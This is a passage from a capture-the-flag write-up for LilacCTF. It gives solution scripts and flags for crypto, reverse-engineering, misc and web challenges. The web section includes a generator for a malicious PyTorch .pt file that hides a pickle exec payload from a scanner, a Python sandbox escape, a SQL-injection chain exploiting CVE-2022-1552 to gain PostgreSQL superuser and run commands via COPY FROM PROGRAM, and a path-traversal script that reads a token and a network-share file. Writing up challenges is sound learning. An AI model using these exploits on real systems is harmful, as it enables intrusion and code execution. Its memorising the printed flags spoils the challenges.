0xFF b3 = (x >> 24) & 0xFF return (G_BASE ^ G_DELTA[0][b0] ^ G_DELTA[1][b1] ^ G_DELTA[2][b2] ^ G_DELTA[3][b3]) & 0xFFFFFFFF def encrypt_block(block16: bytes) -> bytes: x0, x1, x2, x3 = struct.unpack("<4I", block16) x0 ^= K_WORDS[0] x1 ^= K_WORDS[1] x2 ^= K_WORDS[2] x3 ^= K_WORDS[3] for r in range(16): t0 = g(x0) t1 = g(rol32(x1, 8)) f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF x2 = ror32((x2 ^ f0) & 0xFFFFFFFF, 5) x3 = (rol32(x3, 5) ^ f1) & 0xFFFFFFFF if r < 15: x0, x2 = x2, x0 x1, x3 = x3, x1 c0 = x0 ^ K_WORDS[4] c1 = x1 ^ K_WORDS[5] c2 = x2 ^ K_WORDS[6] c3 = x3 ^ K_WORDS[7] return struct.pack("<4I", c0 & 0xFFFFFFFF, c1 & 0xFFFFFFFF, c2 & 0xFFFFFFFF, c3 & 0xFFFFFFFF) def decrypt_block(block16: bytes) -> bytes: x0, x1, x2, x3 = struct.unpack("<4I", block16) x0 ^= K_WORDS[4] x1 ^= K_WORDS[5] x2 ^= K_WORDS[6] x3 ^= K_WORDS[7] for r in range(15, -1, -1): if r < 15: x0, x2 = x2, x0 x1, x3 = x3, x1 t0 = g(x0) t1 = g(rol32(x1, 8)) f0 = (t0 + t1 + K_WORDS[8 + 2 * r]) & 0xFFFFFFFF f1 = (t0 + (2 * t1 & 0xFFFFFFFF) + K_WORDS[9 + 2 * r]) & 0xFFFFFFFF x2 = (rol32(x2, 5) ^ f0) & 0xFFFFFFFF x3 = ror32((x3 ^ f1) & 0xFFFFFFFF, 5) p0 = x0 ^ K_WORDS[0] p1 = x1 ^ K_WORDS[1] p2 = x2 ^ K_WORDS[2] p3 = x3 ^ K_WORDS[3] return struct.pack("<4I", p0 & 0xFFFFFFFF, p1 & 0xFFFFFFFF, p2 & 0xFFFFFFFF, p3 & 0xFFFFFFFF) def main() -> int: ct = bytes.fromhex("A20492152735B4F6ECBAA359DB64417BDF277A73B085666034CF38E748D8FBD4") pt = b"".join(decrypt_block(ct[i : i + 16]) for i in range(0, len(ct), 16)) re_ct = b"".join(encrypt_block(pt[i : i + 16]) for i in range(0, len(pt), 16)) print("pt_hex:", pt.hex()) print("pt_raw:", pt) print("verify_reencrypt:", re_ct == ct) return 0 if __name__ == "__main__": raise SystemExit(main()) ``` Flag: `LilacCTF{I_ju3t_w@nnA_b3_hapPy}` ## NineApple ```python! import lief, struct bin = lief.parse("Nine") def qwords(addr, n): data = bytes(bin.get_content_from_virtual_address(addr, 8 * n)) return list(struct.unpack("<" + "Q" * n, data)) def decode_swift_small_string(payload, tag): length = ((tag >> 56) & 0xFF) - 0xE0 b_payload = payload.to_bytes(8, "little") b_extra = (tag & 0x00FFFFFFFFFFFFFF).to_bytes(7, "little") return (b_payload + b_extra)[:length].decode("ascii") W_BASE = 0x100010320 T_BASE = 0x100010390 M_BASE = 0x1000104C0 w_count = qwords(W_BASE, 4)[2] weights = qwords(W_BASE + 0x20, w_count) t_count = qwords(T_BASE, 4)[2] targets = qwords(T_BASE + 0x20, t_count) m_count = qwords(M_BASE, 4)[2] m_raw = qwords(M_BASE + 0x20, m_count * 4) char_to_pattern = {} for i in range(m_count): pk, tk, pv, tv = m_raw[i*4:(i+1)*4] k = decode_swift_small_string(pk, tk) v = decode_swift_small_string(pv, tv) char_to_pattern[k] = v pattern_to_char = {v: k for k, v in char_to_pattern.items()} def decode_code(code): rem = code digits = [] for w in weights: d = rem // w rem -= d * w digits.append(d) while digits and digits[-1] == 0: digits.pop() return "".join(str(d) for d in digits) patterns = [decode_code(x) for x in targets] flag = "".join(pattern_to_char[p] for p in patterns) print("flag:", flag) print("patterns:", " ".join(patterns)) ``` Flag: `Lilac{10S_aNd_l1lac_w1n3_f0r_you}` # Misc ## sky is ours ### Solution https://www.flightaware.com/live/flight/QDA6097/history/20250410/0510Z/ZSYT/ZSFZ ## launchpad ### Solution The `tweak_emulate_clock_handler` function allows advance the on-chain emulated timestamp by a given `delta`. This can bypass schedules to the clock to unlock token claims. ## Your GitHub, mine ### Solution Access the bot https://github.com/tynqf4hn8z and find other public repo, submit the issue to the bot for checking and get the flag. For example: https://github.com/tynqf4hn8z/lilacctf-puzzle-4xonhewg/issues/1 ## Questionnaire ![image](https://hackmd.io/_uploads/rkQrM1LIZg.png) ## Welcome ```python import zlib, binascii; print(zlib.decompress(binascii.unhexlify("789c0540b10980400c5ce92442067849153bc1f278ae1031ad95b87bc8bba6c611df6925ec46076bc955f2e0056ccc773c7f03fb580c81")).decode()) ``` # Web ## nailong Slopped script to generate the malicious .pt file ```py= import torch import tarfile import io import pickle import os # --- Configuration --- FILENAME = "bypass.pt" # The specific integer the scanner expects (derived from your error log) # 119547037146038801333356 = 0x1950A86A20F9469CFC6C0000 SCANNER_EXPECTED_MAGIC = 119547037146038801333356 # --- 1. Construct the Camouflage Payload (Header Injection) --- # This payload is designed to sit in the 100-byte Tar Header Name field. # It tricks the scanner (which treats the file as a linear pickle stream) # into thinking it has read a valid Magic Number and 5 innocuous pickles. # Pickle 1: The Spoofed Magic Number # Opcode: I (INT) ... \n . (STOP) p_magic = f'I{SCANNER_EXPECTED_MAGIC}\n.'.encode('ascii') # Pickles 2-6: Dummy Pickles to satisfy the scanner's 'range(5)' loop # We use 'N.' (None) because it is short (2 bytes). p_dummy = b'N.' # Combine: 1 Magic + 5 Dummies fake_filename = p_magic + (p_dummy * 5) print(f"Camouflage Payload Length: {len(fake_filename)} bytes (Max 100)") if len(fake_filename) > 99: raise ValueError("Payload too long for Tar header name field!") # --- 2. Construct the Malicious Payload (The Real Exploit) --- class Malicious: def __reduce__(self): # The payload executed by the victim return (exec, ("<python code here>",)) # Prepare buffers for the internal files required by PyTorch's Tar Loader # Protocol 2 is required for legacy format compatibility. # 'pickle': Contains the executable object pickle_buffer = io.BytesIO() pickle.Pickler(pickle_buffer, protocol=2).dump(Malicious()) pickle_bytes = pickle_buffer.getvalue() # 'storages': Requires [count (int), view_metadata (list)] meta_buffer = io.BytesIO() pickle.dump(0, meta_buffer, protocol=2) # count pickle.dump([], meta_buffer, protocol=2) # list meta_bytes = meta_buffer.getvalue() # 'tensors': Requires [count (int)] tensors_buffer = io.BytesIO() pickle.dump(0, tensors_buffer, protocol=2) tensors_bytes = tensors_buffer.getvalue() # --- 3. Build the Polyglot Tar File --- with tarfile.open(FILENAME, "w") as tar: # ENTRY 1: The Decoy (Header Injection) # The scanner reads the NAME bytes of this entry thinking it's the file header. # The content is empty. info = tarfile.TarInfo(name=fake_filename.decode('latin1')) info.size = 0 tar.addfile(info, io.BytesIO(b"")) # ENTRY 2: The Real Payload ('pickle') # PyTorch looks for this specific filename info = tarfile.TarInfo(name="pickle") info.size = len(pickle_bytes) tar.addfile(info, io.BytesIO(pickle_bytes)) # ENTRY 3: Storages Metadata info = tarfile.TarInfo(name="storages") info.size = len(meta_bytes) tar.addfile(info, io.BytesIO(meta_bytes)) # ENTRY 4: Tensors Metadata info = tarfile.TarInfo(name="tensors") info.size = len(tensors_bytes) tar.addfile(info, io.BytesIO(tensors_bytes)) print(f"Successfully created '{FILENAME}'") ``` ## keep ### Solution https://projectdiscovery.io/blog/php-http-server-source-disclosure ![image](https://hackmd.io/_uploads/rJUrFDVIbe.png) ## checkin ```python= vars().get(min(dir())).append(~vars().get(min(dir())).pop()) ``` ## playground ```python= import json def callback(js_proxy): Func = js_proxy.constructor Func("alert()")() return "test" json.dumps(execfile, default=callback) ``` ## safe-sql Get superuser using CVE-2022-1552. ```python= import requests import random import time s = requests.session() URL = "http://61.147.171.103:55561/api/login" tablename = "tchen_table_" + random.randbytes(8).hex() funcname = "tchen_func_" + random.randbytes(8).hex() idx = "tchen_idx_" + random.randbytes(8).hex() print(tablename, funcname, idx) r = s.post(URL, json={ "username": "\\", "password": f"AND 1=1; CREATE FUNCTION {funcname}(int) RETURNS int LANGUAGE plpgsql IMMUTABLE AS $$" \ f"BEGIN" \ f" RETURN $1; " \ f"END;" \ f"$$; SELECT 1;--" }) r = r.json().get("username", "error") print(r) r = s.post(URL, json={ "username": "\\", "password": f"AND 1=1; CREATE TABLE {tablename}(a int);" \ f"CREATE INDEX {idx} ON {tablename} USING brin(({funcname}(a) + {funcname}(0))) WITH (pages_per_range = 1, autosummarize = on);" \ f"SELECT brin_desummarize_range($${idx}$$, 0);" \ f"INSERT INTO {tablename} SELECT generate_series(1, 1000000);" \ f"CREATE OR REPLACE FUNCTION {funcname}(int) RETURNS int LANGUAGE sql AS $$" \ f"ALTER USER ctf SUPERUSER;" \ f"SELECT $1;" \ f"$$;" \ f"SELECT 1; --" }) r = r.json().get("username", "error") print(r) prev = "" while True: r = s.post(URL, json={ "username": "\\", "password": f"AND 1=1; SELECT max(last_autovacuum) AS last_autovacuum_any_table FROM pg_stat_all_tables;--" }) r = r.json().get("username", "error") print(r) if prev and prev != r: break prev = r time.sleep(5) ``` Then, RCE using COPY instruction. ``` CREATE TEMP TABLE shell(output text);COPY shell FROM PROGRAM 'cmd';SELECT text,1 from shell; ``` ## path ### Solution ```py= import requests base = "http://1.95.51.2:8080" s = requests.Session() def get_token(): r1 = s.get(f"{base}/api/diag/read", params={"path": r"\\?\C:\token\access_key.txt"}) r1.raise_for_status() token = r1.json()["token"] print("Token:", token) return token p = r"\\?\GLOBALROOT\??\UNC\172.20.0.10\backup\flag.txt" token = get_token() r2 = s.get(f"{base}/api/export/read", params={"token": token, "path": p}) print(p, r2.status_code, r2.text) ```